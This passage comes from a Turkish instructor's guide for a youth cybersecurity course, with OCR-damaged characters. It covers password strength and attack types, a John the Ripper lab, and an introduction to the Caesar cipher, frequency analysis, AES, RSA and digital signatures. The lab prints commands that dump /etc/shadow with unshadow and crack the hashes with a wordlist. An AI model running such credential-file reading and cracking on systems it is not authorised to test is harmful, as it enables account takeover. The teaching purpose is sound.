oldugunu gorecegiz.

2. Asagidaki komutlarla devam ederek sorulari cevaplayimiz.
rm a?

1s
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a. 1ls komutunun sonucunda hangi dosyalar1 goriiyorsunuz? Diger dosyalara ne olmustur?

b. Sizce rm komutu ne ise yaramaktadir?

Yanit a:

Yanit b:

3. Asagidaki komutlar ¢aligtirarak sorulari cevaplayiniz.
rm *1
1s

e 1s komutunun sonucunda hangi dosyalar1 goriiyorsunuz? Neden?

Yanit:

4. Asagidaki komutlar1 ¢alistirarak sorulari cevaplayiniz.
rm a*

1s

e 1s komutunun sonucunda hangi dosyalar1 goriiyorsunuz? Neden?

Yanit:
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HAFTA 3. PAROLALAR

ON BILGI
e Bilgi giivenliginin temel kavramlari

e Kali Linux kullanimi, temel komutlar ve araglar

AMAC

Bu boliimiin amaglar1 arasinda, 6grencileri parola kavramiyla tanistirmak, parola giiclinii
degerlendirmeyi 6grenmelerini, dogru parola se¢imi hakkinda bilgi sahibi olmalarini saglamak
bulunmaktadir. Ogrenciler ayrica basit parola kirma saldirilart gerceklestirmeyi ve rastgele

parola iliretme programi gelistirmeyi uygulamali olarak 6greneceklerdir.

BOLUM KAZANIMLARI

Bu boliimii tamamlayan bir 6grenci,

e Parola kavramini tanimlar,

e Parolalarin giiciinii analiz eder,

e Parola kirma saldiris1 6rneklerini agiklar,

e Parola se¢imi kurallarini ve yontemlerini agiklar,
e Parola kirma saldiris1 uygular,

e Rastgele parola iiretecek program tasarlar ve kodlar.

KULLANILACAK MATERYAL VE ARACLAR

Bilgisayar, Kali Linux, John the Ripper, kod yazma i¢in IDE, kagit, kalem



Boliim 3: Parolalar

HAFTANIN ISLENIiSi

Gozle Parola kavrami, parola kirma saldirilari, parola se¢imi
Uygula Parola sayis1 hesaplama, parola kirma saldiris1 uygulamasi
Tasarla Rastgele parola iiretecek program tasarimi

Uret Rastgele parola iiretecek program yazma

Degerlendir  Haftanin igeriginin degerlendirilmesi ve calismanin devam ettirilmesine

yonelik oneriler

1. GOZLE

Bu boliimde parola kavrami tanitilarak parola giicii, parola kirma saldirilar1 ve parola se¢im

yontemleri hakkinda bilgi verilir. Boliim 1 i¢in toplam 60 dk siire yeterli olacaktir.

K EGITMENE NOT \

Parola (password) kelimesi yerine sifre kelimesinin kullanildigin1 sik¢a duyabiliriz

(6rn. e-posta sifresi, e-devlet sifresi, tek kullanimlik sifre vb.). Giinliik hayatta bu
kullanim ciddi bir sorun olusturmasa da, parola demek daha dogrudur ¢iinkii siber

giivenlikte sifre (cipher) terimi sifreleme algoritmalarini ifade eder ve parola

kkavramlnln sifreleme ile dogrudan bir ilgisi yoktur. J

1.1. GIRIS

Egitmen 6grencilerinin parola konusunu tartismalarini saglar. Bunun i¢in 6grencilerine gesitli
sorular sorarak onlarin cevabini alir ve ardindan parola kavram ile ilgili olarak detayh

aciklamalarini yapar. Bu bdliim i¢in 15 dakikalik bir zaman ayirmak yeterlidir.

e Parolaniz var mi1?

e Parola ile nerelere giris yapiyorsunuz?

e Parolalarinizi nasil belirliyorsunuz?

e Belli zamanlarda parolaniz1 degistiriyor musunuz?

e Parolalar1 kag karakterden olusturuyorsunuz?
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e Parolalara dogum yeri ya da dogum tarihini vermek sizce dogru mudur?

e Parola olustururken belli bir mantik, yap1 ya da yol takip ediyor musunuz?

Egitmen bu sorulara ek olarak baska sorular da sorabilir. Gelen cevaplarla birlikte
ogrencilerden de yeni sorular ortaya ¢ikabilir. Bunlara benzer sorular ¢ergevesinde tartisma

yonetilerek 6grencilerin fikirlerini beyan etmesi saglanir.

Gergek yasam iginde parola kullanan 6grencilerden bazilarinin sifreleri ¢ok basit ya da kolay
olabilir. Parolalarin kolay ya da zor olmalar1 da tartismanin konusu olabilir. Hangi parolalarin

kolay ya da zor ve neden kolay/zor olduklarina yonelik olarak 6grencilerin fikirleri alinabilir.

1.2. PAROLA KAVRAMI

Parola, bir kisinin erisim yetkisini dogrulamak i¢in kullanilir. Ornegin, bir askeri alana veya
kislaya girmek isteyen birine kapidaki ndbetci asker parola sorabilir. Geleneksel parolalar bir
kelime veya climle olabilirken, glinimiizde yaygin olarak bilgisayar sistemlerine giris i¢in

kullanilan parolalar genellikle farkli bir yapiya sahiptir.

Tarihte parola kullanimi, genellikle gizli veya kisith bir bolgeye erisim igin sadece belli
kisilerce bilinen bir kelime veya climle (6rn. “agil susam agil”) sdyleme seklindeyken,

giiniimiiz sistemlerinde her kullanicinin kendine 6zel kullanict ad1 ve parolas1 bulunmaktadir.

Bilgisayar sistemlerinde kullanilan parola bir dizi sembolden olugur. Bu semboller kiiciik harf,
biiyiik harf, rakam, noktalama isareti ve diger 6zel semboller (tire, alt ¢izgi, yildiz vb.) olabilir.
Bir paroladaki sembollerin sayis1 ve cesitliligi parolanin giici agisindan 6nemlidir. Bir

saldirgan tarafindan tahmin edilmesi zor olan parolalar daha giiglii kabul edilir.

1.3. PAROLA KIRMA SALDIRILARI

Bir parolanin kirilma zorlugunu belirleyen bir¢ok etken vardir. Bunlardan bazilar1 asagida

tartisilmaktadir.
Uzunluk: Kisa parolalar uzun parolalara gére genellikle daha kolay kirilir.

Icerdigi semboller: Sadece harf veya sadece rakam igeren, dzel sembol igermeyen parolalar

daha kolay kirilir.

Anlamh olup olmamasi: Belli bir anlama sahip olan parolalar (6rn. kelime, climle, tarih) daha

kolay kirilir.
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4 N

EGITMENE NOT

Uzun bir parola kisa bir parolaya gore daha zayif olabilir. Ornegin, harf, rakam ve dzel

sembol iceren 6 karakterli bir parola, 123456789 gibi 9 karakterli bir parolaya gore ¢ok

J

daha giicliidiir. Ogrencilere bu konuda uyar1 yapilmalidir.

Parola Saldirisi Tiirleri

Asagida yaygin parola saldirilarindan bazilari verilmistir (Subangan & Senthooran, 2019).

e Kaba kuvvet tahmin: Belli bir sirayla biitiin olas1 parolalarin denenmesine dayali
saldirt tiiriidiir. Bu saldirida yapilacak tahmin sayisi, olasi parola sayisiyla orantilidir.
En basit ama en yavas parola saldirisi tiiriidiir.

e Sozliik saldinsi: Onceden olusturulmus bir sozliikteki kelimeleri ve bunlarin
kombinasyonlarin1 parola olarak denemeye dayali saldiri tiirii. Bir¢ok insanin
parolalarinin anlamli kelimelere dayandigi gozleminden faydalanilir.

e Popiiler parola deneme: Insanlarin yaygm olarak kullandigi bilinen parolalart
denemeye dayali saldir1 tiiriidiir. Sozliik saldirisiyla veya kaba kuvvet tahminle
birlestirilebilir, yani popiiler parolalar basta denenerek basarisiz olunmast durumunda
diger saldirtya gecilebilir.

e Kisiye ozel saldir: Bir kisiyle ilgili bilgiler (dogum tarihi, memleketi, ¢ocuklarinin
adlar1 vb.) dikkate alinarak yapilan parola tahminlerine dayali saldir tiirtidiir.

e Sosyal miihendislik: Kisileri kandirarak parolalarim1 sdylemelerini veya saldirganin
gorecegi bir yere yazmalarini saglamaya calisan saldir1 tiiriidiir. Sosyal miihendislik, 5.

haftada daha ayrintili olarak ele alinacaktir.

1.4. PAROLA SECIMI

Giclii parola se¢mek i¢in bazi hususlara dikkat etmek gerekmektedir.

e Parola olarak anlamli bir kelime, isim, ciimle, tarih vb. secilmemelidir.
e Bir kelimenin veya ismin basina/sonuna bir veya birka¢ rakam eklenerek parola

olusturulmamalidir.

e Parola yeterince uzun olmalidir. Birgok sistemde parola uzunlugu i¢in bir alt sinir vardir

(en az 8, en az 10 gibi). Genellikle parola uzadikga kirilmasi zorlagir.
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e Parolada sembol cesitliligi olmalidir. Bir baska deyisle kiiciik harfler, biiyiik harfler,
rakamlar, noktalama isaretleri ve diger 6zel semboller birlikte bulunmalidir.

e Parola tercihen kolay hatirlanir olmalidir. Eger parola akilda kalmiyorsa kisi parolay1
bir yere yazmak isteyebilir, bu da giivenli degildir ¢iinkii parolanin ¢alinma ihtimalini

dogurur. Parola herhangi bir yere yazilmamalidir.

Hem gii¢lii hem de kolay hatirlanir bir parola olusturmak karmasik ve 6zen gerektiren bir istir.
Giivenli parola olusturmakta kullanilabilecek bir yontem, sizin aklinizda kalacak ama kolay
kolay tahmin edilemeyecek uzunca bir climle se¢ip o climleyi olusturan kelimelerden bazi
harfleri (6rnegin her kelimenin ilk iki harfi veya ilk ve son harfleri) birlestirerek parola
olusturmaktir. Bunu yaparken bazi harfleri biiyiik harf yapmak, bazilarini da bir sekilde rakama

veya Ozel karaktere ¢cevirmek parolay giiclendirir.
Ornek: Kafamizdan bir ciimle uyduralim, sonra her kelimenin ilk ve son harflerini alalim.
Bayilirim biber dolmasina Persembeleri kahvaltida = BmbrdaPika

Bu ciimlenin garipligi akilda kaliciligin1 artiracaktir. Simdi bazi harfleri kendilerine benzeyen

rakam ve 6zel karakterlerle degistirelim.
BmbrdaPika = 8m6rdaP!ka

Yukaridaki parola hem akilda kalicidir (parolayr hemen hatirlayamasak da kolayca
tiiretebiliriz) hem de tamamen rastgele iiretilen 10 karakterli bir parolaya yakin diizeyde

giivenlik saglar, yani kirilmasi oldukga zordur.

Egitmen bagka orneklerle parola tiiretebilir. Bu noktada dgrencilerden kendi sececekleri bir

yontemle parola tiretmeleri ve parolanin neden gii¢lii oldugunu agiklamalari istenebilir.

Ne kadar giiclii oldugunu diistiniirseniz diisiiniin, parolalar1 sik sik degistirmek énemlidir.

2. UYGULA

2.1. PAROLA SAYISI HESAPLAMA

Asagidaki sorulardan bir veya iki tanesi egitmen tarafindan c¢oziilerek Ogrencilere
gosterildikten sonra diger sorularin her biri i¢in 3’er dakikalik siire verilerek 6grencilerin

cozmesi istenir. Toplam 20 dakikalik stire yeterli olacaktir.

a. 4 karakterden olusan ve sadece rakamlar iceren kag tane farkli parola olabilir?
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b. 6 karakterden olusan ve sadece Ingiliz alfabesinden kiiciik harfler iceren kag tane farkli
parola olabilir?

c. 8 karakterden olusan ve ingiliz alfabesinden kiigiik veya biiyiik harfler iceren kag tane
farkli parola olabilir?

d. 10 karakterden olusan ve sadece rakamlar igeren kag tane farkli parola olabilir?

e. 10 karakterden olusan ve rakamlar veya Ingiliz alfabesinden kiiciik harfler iceren kag
tane farkli parola olabilir?

f. 12 karakterden olusan ve sadece ingiliz alfabesinden kiiciik harfler iceren kag tane farkli

parola olabilir?

2.2. PAROLA KIRMA SALDIRISI UYGULAMASI

Bu etkinlik i¢in 50 dakikalik zaman dilimi yeterli olacaktir.

Bu etkinlik icin John the Ripper adli uygulama kullanilacaktir. Ogrenciler bu uygulama
yardimiyla parola tahmin saldirilar1 yaparak gesitli parolalari ne kadar siirede kirabildiklerini
goreceklerdir. Oncelikle bu uygulamanin egitmen tarafindan kisaca tamtilmas: gerekecektir.
Bu tamtimda Kali’'nin resmi sitesinde yer alan bilgilerden faydalanilabilir:

https://tools.kali.org/password-attacks/john

On bilgi: Kullanic1 parolalari giivenlik nedeniyle sistemde diiz metin olarak tutulmaz. Bunun

yerine parola Sekil 1°dekine benzer bir sekilde hash isleminden gegirildikten sonra saklanir.

Parola Hash Parolanin Parola
Fonksiyonu Kayitlari

Sekil 1. Parolalarin sistemde saklanmasi

Not: Gergek sistemlerde parola hash fonksiyonuna girmeden 6nce tuz (salt) denen bir deger ile

birlestirilerek hash eslestirme tabanli bazi parola saldirilarina karsi direng saglanir.

Bu uygulamada faydalanilacak aracin kullanim Orne8i asagida verilmistir. Komutu
calistirmadan Once Ogrencilerin kelime listesi (password.Ist) ve parola hash listesi
(unshadowed.txt) dosyalarini incelemeleri istenerek bu dosyalarin igerikleri hakkinda tartisma

yiiriitilir.


https://tools.kali.org/password-attacks/john
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Bir kelime listesi yani wordlist kullanarak (—wordlist=/usr/share/john/password.lst) ve tanimli
karakter degistirme kurallarim1 uygulayarak (—rules), verilen bir dosya (unshadowed.txt)

icindeki parola hash degerlerini kirarak parolalari agiga ¢ikartmak i¢in komut:

root@kali:~# john --wordlist=/usr/share/john/password.lst --rules unshadowed.txt

warning: detected hash type "sha512crypt", but the string is also recognized as
mn C r‘ypt mn

Use the "--format=crypt" option to force loading these as that type instead
Loaded 1 password hash (sha512crypt [64/64])
toor (root)

guesses: 1 time: 0:00:00:07 DONE (Mon May 19 08:13:05 2014) c/s: 482 +trying:
1701d - andrew

Use the "--show" option to display all of the cracked passwords reliably

Bu etkinlikte her dgrenci kendi kelime listesini, bir baska deyisle denenecek parola listesini,
olusturacak ve unshadowed.txt i¢indeki parola hash degerlerini kirmaya calisacaktir. Yukarida
gosterilen john komutuna girdi olarak verilen unshadowed.txt dosyasini olusturmak igin

asagidaki komut kullanilabilir:
sudo unshadow /etc/passwd /etc/shadow > unshadowed.txt

john komutunu calistirirken "No password hashed loaded" gibi bir hata aliniyorsa, komut

asagidaki sekilde ¢alistirilabilir:
john --format=crypt --wordlist=/usr/share/john/password.lst --rules unshadowed.txt

Kelime listesi olustururken kullanilabilecek yontemle ilgili egitmen 6grencilere bazi tavsiyeler

verebilir:

e Kaullanicilar tarafindan yaygin kullanilan parolalarin neler oldugu diisliniiliip bunlar
listeye eklenebilir.

e Bu parolalarin basina veya sonuna rakam veya baska sembol ekleme, kelimeleri
birlestirme gibi yontemlerle baska parolalar iiretilip liste genisletilebilir.

e Denenen bir liste basariya ulagamazsa liste daha da genisletilebilir.

Etkinlik siiresinin sonuna kadar 6grenciler denemeler yapabilir. Etkinligin sonunda, parola

kirmada en kolay basariya ulastiran yontemin ne oldugu iizerine tartisma ytiriitiilebilir.
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3. TASARLA VE URET

Bu boliimde her 6grenci bagimsiz olarak bir rastgele parola iiretme programi tasarlayip

kodlayacaktir. Bu etkinlik i¢cin 60 dakikalik zaman dilimi yeterli olacaktir.

Tasarla ve tiret boliimleri icerisinde 6grenci daha aktif olup egitmen rehber konumundadir.
Egitmen 6grencilerin sorduklar sorulara geri bildirim vererek onlar1 yonlendirir. Gerektiginde
Internet iizerinden cesitli ornekleri gdrmeleri igin ydnlendirme yapabilir. Bu kisimlarda
egitmen kendisini biraz daha arka planda birakmalidir. Egitmen, 6grencinin aktif katilimi ve
problemi grup igerisinde birlikte ¢ozmelerine ve algoritmik diisiinme bigimlerine izin veren bir

yapida rehberlik etmek durumundadir.

3.1. RASTGELE PAROLA URETME PROGRAMI

Girdi: Parola uzunlugu
Cikti: Rastgele iiretilmis parola

Program, verilen bir uzunlukta rastgele parola iiretecektir. Rastgele parola i¢inde en azindan
biiytik-kiiciik harfler ve rakamlar bulunabilmelidir. Ek olarak her 6grenci kendi sececegi bazi
0zel sembolleri de dahil edebilir. Program her ¢alistiginda farkli bir rastgele parola tiretmelidir.
Programi tasarlamak, yazmak ve test etmek i¢in 60 dakikalik siire ayrilabilir. Ogrencilerin

onemli bir boliimii zorlanirsa siire 80 dakikaya cikartilabilir.

Etkinligin sonunda siire uygunsa programi tamamlayan her 6grenci programinin ¢aligmasini
egitmene yapacagl bir demo ile gosterebilir. Ayrica, 6grencilerin kaynak kodlarini egitmene
gondermesi ve egitmenin ders sonrasinda ¢dziimlerin uygunlugunu degerlendirmesi faydali

olacaktir.

4. DEGERLENDIR

Tasarla ve iiret boliimiiniin ardindan asagidaki sorular egitmen tarafindan sorulabilir:

e Sizce yazdigimiz rastgele parola iiretme programi yeterince gii¢lii parolalar tiretebilir
mi? Daha giiclii parola iiretmesi i¢in neler yapilabilir?
e Verilen bir parolanin giiglii olup olmadigin1 degerlendiren bir program yazmak

isteseniz nasil bir yaklagim izlersiniz?
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Ogrencilerden siirec iginde kendileri i¢in dnemli veya ilging bulduklar1 hususlari arkadaslarina

aktarmalar1 istenir.

Tiim tartismalarin ardindan bu boliimde 6grenilenlerin gelecekte kullanimina yonelik oneriler
iizerine beyin firtinasi yapilabilir. Ornegin egitmen grencilere internetten aligveris yapip
yapmadiklarini ya da ebeveynlerinin e-ticareti kullanip kullanmadiklarini sorar. E-ticaret
yaparken parolamizin baskasi tarafindan ele gegirilmesi durumunda neler olabilecegine yonelik
sinif i¢i tartigmalar ylriitiilerek detayli bigimde konunun 6nemi vurgulanir. Bu durumda
egitmen tarafindan, yasanabilecek maddi kayiplarla ilgili olarak drnekler verilebilir. Boylelikle
dogru parola se¢iminin ne kadar énemli oldugunun 6grenciler tarafindan daha net anlagilmasi

saglanmis olur.

5. EK ETKINLIK

Dersin sonunda zaman kalirsa parolalara alternatif kimlik dogrulama yontemleri hakkinda
neler bildikleri veya parola kullanmadan kimligi nasil dogrulanabilecegine iliskin fikirleri
sorulabilir. Egitmen biyometrik kimlik dogrulama yontemlerinden (Rui & Yan, 2018) kisaca
bahsedip bir 6rnek (6rn. parmak izi, yiiz, ses, retina, iris, el geometrisi tanima) verdikten sonra
ogrencilerden bagka ornekler vermelerini isteyebilir. En sonda 6grencilerden parola kullanimi
ile biyometrik kimlik dogrulama yaklasimlarin1 karsilastirmalari, avantaj ve dezavantajlarini

tartismalar1 beklenebilir.
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HAFTA 4. KRIPTOGRAFI

ON BILGI
¢ Bilgi glivenliginin temel kavramlari

e Parolalar

AMAC

Bu boéliimiin amaci, 6grencileri kriptografinin temel kavramlariyla tanistirmaktir. Boliim
icerisinde sifrelemenin temel mantig1 anlatilacak ve basit uygulamalarla Ogrencilerin bu
mantig1 kavramalar1 saglanacaktir. Ayrica basit sifre kirma yaklasimlar: ele alinarak modern

sifreleme algoritmalarinin girig diizeyinde incelemesi gerceklestirilecektir.

4 N

EGITMENE NOT
Kriptografi sifreleme bilimi olarak adlandirilabilir. Giiniimiizde bir iniversite, fakiilte,
enstitii, meslek kurulusu ya da kisiye birakilamayacak kadar 6nemli bir konudur. Bu

nedenle kriptoloji ile ilgili olarak tiim toplumu isin igerisine katan bir yapilanmaya ve

farkindalik ¢alismalarina ihtiyag vardir.

- /

BOLUM KAZANIMLARI

Bu boéliimii tamamlayan bir 6grenci,

e Kriptografinin temel kavramlarin1 tanimlar.
e Sifrelemenin genel mantigini kavrar.
e Basit bir sifreleme algoritmasini uygular.

e Sezar algoritmasini kullanarak sifreleme ve sifre ¢6zme yapar.
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e Sifre kirma yaklagimlarini tanir.

e Sifre kirma uygulamasi gerceklestirir.

e Frekans analizi yontemini agiklar.

e Modern sifreleme algoritmalarina drnek verir.

e Simetrik anahtarl sifrelemeyi agiklar.

e Asimetrik anahtarli sifrelemeyi agiklar.

e Sayisal imza kavramin agiklar.

KULLANILACAK MATERYAL VE ARACLAR

Bilgisayar, kagit, kalem

HAFTANIN ISLENISi

Gozle

Uygula

Tasarla ve
Uret

Degerlendir

Kriptografinin temel kavramlari, Sezar algoritmasi, frekans analizi, sifre
kirma, modern sifreleme algoritmalarina giris ve sayisal imzanin ¢aligma

prensipleri

Sezar algoritmasi ile sifreleme

Frekans analizi

Sifre kirma yarigmasi

Haftanin igeriginin degerlendirilmesi ve ¢alismanin devam ettirilmesine

yonelik oneriler
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1. GOZLE

Bu boliimde kriptografi ile ilgili kavramlar tanitilarak derinlemesine bir tartisma saglanacaktir.

1.1. KRIPTOGRAFININ TEMEL KAVRAMLARI

Onerilen siire: 20 dakika

Egitmen Ogrencilerinin sifre ile ilgili tartismalarini saglar. Bunun i¢in 0grencilerine ¢esitli
sorular sorarak onlarin cevabini alir ve ardindan kriptografi ile ilgili olarak detayl

aciklamalarini yapar.

e Birine gizli bir mesaj gondermek isteseniz ne yaparsiniz?

e Gonderdiginiz mesaji herkes gorebilsin ama sadece segtiginiz bir kisi anlayabilsin
istiyorsaniz bunu nasil saglarsiniz?

o Kiriptografi veya mesaj sifreleme terimlerini duydunuz mu? Bu terimler size ne ifade

ediyor?

Egitmen sadece bu sorular1 sorarak kendisini sinirlandirmak zorunda degildir. Gelen cevaplarla
birlikte 6grencilerden de yeni sorular ortaya ¢ikabilir. Bunlara benzer sorular ¢ergevesinde
tartisma yonetilerek 6grencilerin fikirlerini beyan etmesi saglanir. Daha sonra asagidaki

aciklamalarla devam edilir.

Kriptografi, kotii amach kisilere karsi iletisim giivenligini korumakta kullanilan yontemleri
inceleyen bilim dalidir. Kriptografinin en temel tanimlarindan bazilari su sekildedir (Katz &

Lindell, 2020):
Sifreleme: Mesajlar yetkisiz kisilerce okunamaz hale getirme

Sifre ¢c6zme: Sifreli mesaj1 orijinaline doniistiirme Son yillarda “Kripto Para”

kavrami1 hepimiz tarafindan

Sifreleme algoritmasi: Sifreleme ve/veya sifre ¢cozme igin B

kullanilan algoritma

Kripto paralar, sanal bir para
Diiz metin: Orijinal anlamli mesaj birimi olup guvenlik
amaciyla sifreleme bilimi
Sifreli metin: Okunamayan sifrelenmis mesaj (kriptografi) kullanmaktadir.

Anahtar: Sifreleme algoritmasinin ¢iktisini belirleyen parametre

Sifreleme, giivenli iletisim i¢in binlerce yildir kullanilmaktadir. Birgok sifreleme algoritmasi
mesajdaki karakterleri baska karakterlerle degistirme veya karakterlerin yerlerini degistirme

islemlerine dayalidir. Sifrelemenin genel isleyisi Sekil 1°de gosterilmistir.
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‘ Anahtar

T

Sekil 1. Sifrelemeye genel bakis

Sekil 1°de goriildiigii lizere diiz bir metin ya da veri bir anahtar yardimiyla sifrelenerek sifreli
hale getirilir. Sifreli hale getirilen metin ya da veri ise yine bir anahtar yardimiyla sifresi

¢oziilerek aslina dondiiriliir.

1.2. BASIT SIFRELEME ALGORITMALARI: SEZAR

Onerilen siire: 20 dakika

Tarihte bilinen ilk sifreleme algoritmalarindan biri

Sezar sifreleme ilk olarak Romali
FEEE 2 BTN olan Sezar sifreleme algoritmasinda her harf alfabede
kullanilan bir sifreleme teknigi
olup adim1 da buradan almaktadir.

belirlenen bir k sayis1 kadar sagindaki veya solundaki
NS e sy harf ile degistirilir. Bu k sayisi Sezar algoritmasina

mesajlar korumak 908 verilen anahtar olarak diisiiniilebilir ve k pozitifse
kullanildig1 diigiiniilmektedir.

harfler k kadar saga, negatifse k kadar sola kaydirilir.
Ornegin her harfin 3 sagindaki ile degistirildigi bir Sezar sifresinde, K harfi N ile, D harfi G
ile, Z harfi ise (sondan basa donerek) C ile degistirilir. Sifreyi ¢o6zmek icin de bu islemin tersi

yapilir.
Egitmen asagidaki ornek iizerinden Sezar sifrelemenin nasil yapildigin1 68rencilere agiklar.

Ornek: DENEYAP kelimesini Sezar yontemi ile sifreleyelim. Anahtar1 k = 7 olarak segelim.



Boliim 4: Kriptografi

Alfabe: ABCCDEFGGHIIJKLMNOOPRSSTUUVYZ
Dizmetin: DENEY AP

Her harfi anahtar olarak belirledigimiz k degeri olan 7 kadar saga kaydiralim.
Sifreli metin: IJTJEGV

Bu noktada sifreleme tamamlanmistir ve metin okunamaz hale gelmistir. Sifreli metni ¢ozerek
metnin aslina ulasmak i¢in her harfi 7 sola kaydirmak gerekir. Bu yapildiginda diiz metin elde
edilir. Yukaridaki sifreli metin igin sifre ¢6zme islemini egitmen ve 6grenciler birlikte yaparlar.
Egitmen bu uygulama i¢in dgrencilerin kagit ve kalem kullanarak islemi takip etmelerini

isteyebilir.

Sifreli metin yazilirken dikkat edilmesi gereken bir husus, kelimelerin bitis ve baslangi¢
noktalarinin belli olmamasidir. Bunun i¢in sifreli metin beser karakterli kelimeler halinde
yazilabilir. Yani sifreli metin DENEYAP TEKNOLOJI ATOLYELERI ise, bunun DENEY
APTEK NOLOJ IATOL YELER 1 seklinde yazilmasi uygundur. Bdylece kelime

uzunluklarindan sifreyi kirmaya yonelik bir ¢ikarim yapilamaz.

Sezar gibi karakter degistirmeye dayali basit sifreleme algoritmalar1 kullanildiginda, diiz
metinde birbirinin aynist olan harfler sifreli metinde de birbirinin aynisi olur. Yukaridaki
ornekte diiz metindeki E harfi sifreli metinde J olmustur. Bu o6zellik sifrelemenin giicii

agisindan olumsuzdur, yani sifreyi kolayca kirilabilir hale getirir.

1.3. FREKANS ANALIiZI YOLUYLA SIFRE KIRMA (KRIPTANALiZ)

Onerilen siire: 10 dakika

Sezar gibi basit sifreleme algoritmalar1 kolayca kirilabilir. Kriptanaliz

metinlerin  kirilmasin1 ~ ve
bilinmeyen anahtarlarin

sifrelenmis
Aslinda bu sifreleri kirarken sifreli metindeki harflerin

asillarin1 deneme-yanilma yoluyla bulmak iyi bir yontem
degildir. Ciinkii her harf Sezar’da oldugu gibi belirli bir
sayida kaydirilmis olmayabilir. Ornegin, asagidaki gibi bir
yonteme gore de sifreleme yapilabilir. Tabloda diiz metin
alfabesi ve harflerin metindeki

sifreli karsiliklar

gosterilmektedir.

bulunmasini konu alan bir
bilim dalidir.

kirarak sifreli

Sifreyi
metinden orijinal metni elde

etmeye  calisan  kisilere
kriptanalist denmektedir.
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Diz A B C ¢ DEFGGH I I J KL MNOOPRS S TUUVY Z

Sifrei V F S Y B R L ZDTU®POMI1I KCCCUTEGNUOHGS S I UA

Buradaki yontem ilk bakista daha karmasik ve kirilmasi zor goriinse de aslinda Sezar’dan daha

giiclii bir koruma saglamaz. Bu tiir bir sifreyi kirmak i¢in frekans analizi yontemi kullanilabilir.

Frekans analizi, diiz metinde birbirinin aynis1 olan harflerin sifreli metinde de birbirinin aynisi
olmasina dayanir. Sifreli metinde ¢ok rastlanan bir harfin, muhtemelen diiz metinde yaygin

kullanilan bir harfe denk geldigi diisiiniilerek hareket edilir (Senay, 2022).

Omegin Tiirkce bir metin igin, sifreli metinde en ¢ok gegen harf J ise, bunun diiz metinde A
harfine, A degilse E veya I harflerine karsilik geliyor olmas1 muhtemeldir ¢iinkii Tiirkce’de en
cok kullanilan harfler sirasiyla A, E ve 1 harfleridir. Bu mantikla harflerin karsiliklar1 teker

teker tahmin edilip denenerek daha sistemli bir deneme-yanilma uygulanmais olur.

1.4. MODERN SIFRELEME ALGORITMALARI

Onerilen siire: 20 dakika

Giliniimilizde yaygin bir sifreleme standardi olarak kullanilan algoritma, Advanced Encryption
Standard (AES) algoritmasidir. AES, karakter degistirme ve yer degistirme islemlerinin
karmagik bir diizen igerisinde tekrarlanmasina dayali bir algoritmadir. AES’te kullanilan
anahtar ¢ok biiyiik bir sayidir (128, 192 veya 256 bit). Bu anahtarlar yaklasik olarak 40 ile 80
arasinda basamak kullanilarak yazilabilen sayilardir (United States National Institute of
Standards and Technology (NIST), 2001).

Sifrelemede hicbir zaman sifreleme algoritmasinin gizliligine, yani nasil ¢alistiginin
bilinmemesine giivenilmez. Bir baska deyisle, gizli olmasi gereken sey asla sifreleme
algoritmas1 degildir. Tam tersine, sifreleme algoritmasinin herkes tarafindan biitiin

ayrintilariyla bilinmesi gerekir.

Sifrelemede gizli olmas1 gereken sey anahtardir. Daha O6nce tanimladigimiz gibi anahtar,
sifreleme algoritmasinin ¢iktisini belirleyen bir parametredir. Sifreleme algoritmalar1 anahtar

yapisina gore simetrik ve asimetrik olmak iizere ikiye ayrilirlar.
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Simetrik anahtarh sifreleme: Sifrelemede kullanilan anahtarla sifre ¢6zmede kullanilan
anahtarin ayni oldugu yaklasimdir. Bu tek anahtar, sadece sifreli iletisim kuran taraflarca bilinir

ve bagkalarindan gizli tutulur.

Asimetrik anahtarh sifreleme: Sifrelemede kullanilan anahtarla sifre ¢6zmede kullanilan
anahtarin farkli oldugu yaklasimdir. Bu sistemde herkesin biri gizli biri acik olmak {izere iki
anahtar1 vardir. Bu iki anahtardan biriyle sifreleme yapildigindan digeri sifreyi ¢ézmede

kullanilir.

Simetrik ve asimetrik anahtarli sifreleme arasindaki fark Sekil 2 ve Sekil 3’°te gosterilmektedir.

Sekil 2’de goriildiigii tizere diiz metni sifrelerken ve sifreli metni ¢ozerken ayni gizli anahtar

kullanilmaktadir.

. Sifreli Sifre .

Diz —»| Sifreleme — “ —» —> Diiz
: metin 5
metin cozme metin
T
Tek anahtar (gizli) Tek anahtar (gizli)
Sekil 2. Simetrik anahtarl: sifreleme ve sifre ¢cozme

uz »| Sifreleme Sifreli . Sifre - Diiz

metin metin ¢Ozme metin

Alicinin agik Alicinin gizli

anahtart

anahtar1
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Diiz . Siffeli Sifre Duz
3] Sifreleme ) > )
metin metin Qﬁzme metin
A T

Gondericinin gizli Gondericinin

anahtar1 agik anahtari

Sekil 3. Asimetrik anahtarl sifreleme ve sifre ¢6zme i¢in iki kullanim sekli

Sekil 3’te asimetrik anahtarli sifrelemenin iki farkli bigimi gériilmektedir. Ustteki kullanimda,
diiz metnin sifrelenmesinde alicinin agik anahtari, sifrelenmis metnin ¢6ziilmesinde ise alicinin
gizli anahtar1 kullanilmaktadir. Boylece sifreli metni yalnizca alic1 ¢ozebilir ¢iinkii alicinin gizli
anahtarini bir tek alicinin kendisi bilmektedir. Alttaki kullanimda, sifreleme i¢in gondericinin
gizli anahtari, sifre ¢6zme igin ise géndericinin agik anahtari kullanilmaktadir. Bu kullanim ile
gizlilik saglanmaz ancak alici, sifreli mesaji gondericinin olusturdugundan emin olabilir ¢iinkii

gondericinin gizli anahtarini bir tek gonderici bilmektedir.

Yaygin kullanilan bir agik anahtarli (asimetrik) kriptografi algoritmas1t RSA’dir. Bu algoritma
adim1 Ron Rivest, Adi Shamir ve Leonard Adleman adli gelistiricilerinin soyadlarinin ilk
harflerinden almistir. Tamamen matematige (sayilar teorisine) dayali olarak calisir ve iki asal
sayinin ¢arpimindan olusan biiytlik bir say1y1 carpanlarina ayirma probleminin zorluguna dayali

olarak giivenlik saglar (Beskirli, Ozdemir, & Beskirli, 2019).

1.5. SAYISAL IMZA

Onerilen siire: 10 dakika

Modern sifreleme algoritmalar1 bashigi altinda Sekil 3’te gosterilen asimetrik sifrelemede
sifreleme anahtar1 olarak gondericinin gizli anahtar1 kullanildiginda ne oldugunu daha ayrintilt

inceleyelim.

Soru: Ayga bir mesaji kendi gizli anahtari ile sifreleyip Burak’a gonderirse, Burak bu sifreli

mesaj1 nasil ¢ozebilir?

Cevap: Burak aldig1 sifreli mesaji Ayca’nin agik anahtarini kullanarak ¢ézebilir.
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Ayca’nin anahtar1 agik olduguna gore aslinda herkes bu mesaji ¢ozebilir. Demek ki, bu sekilde
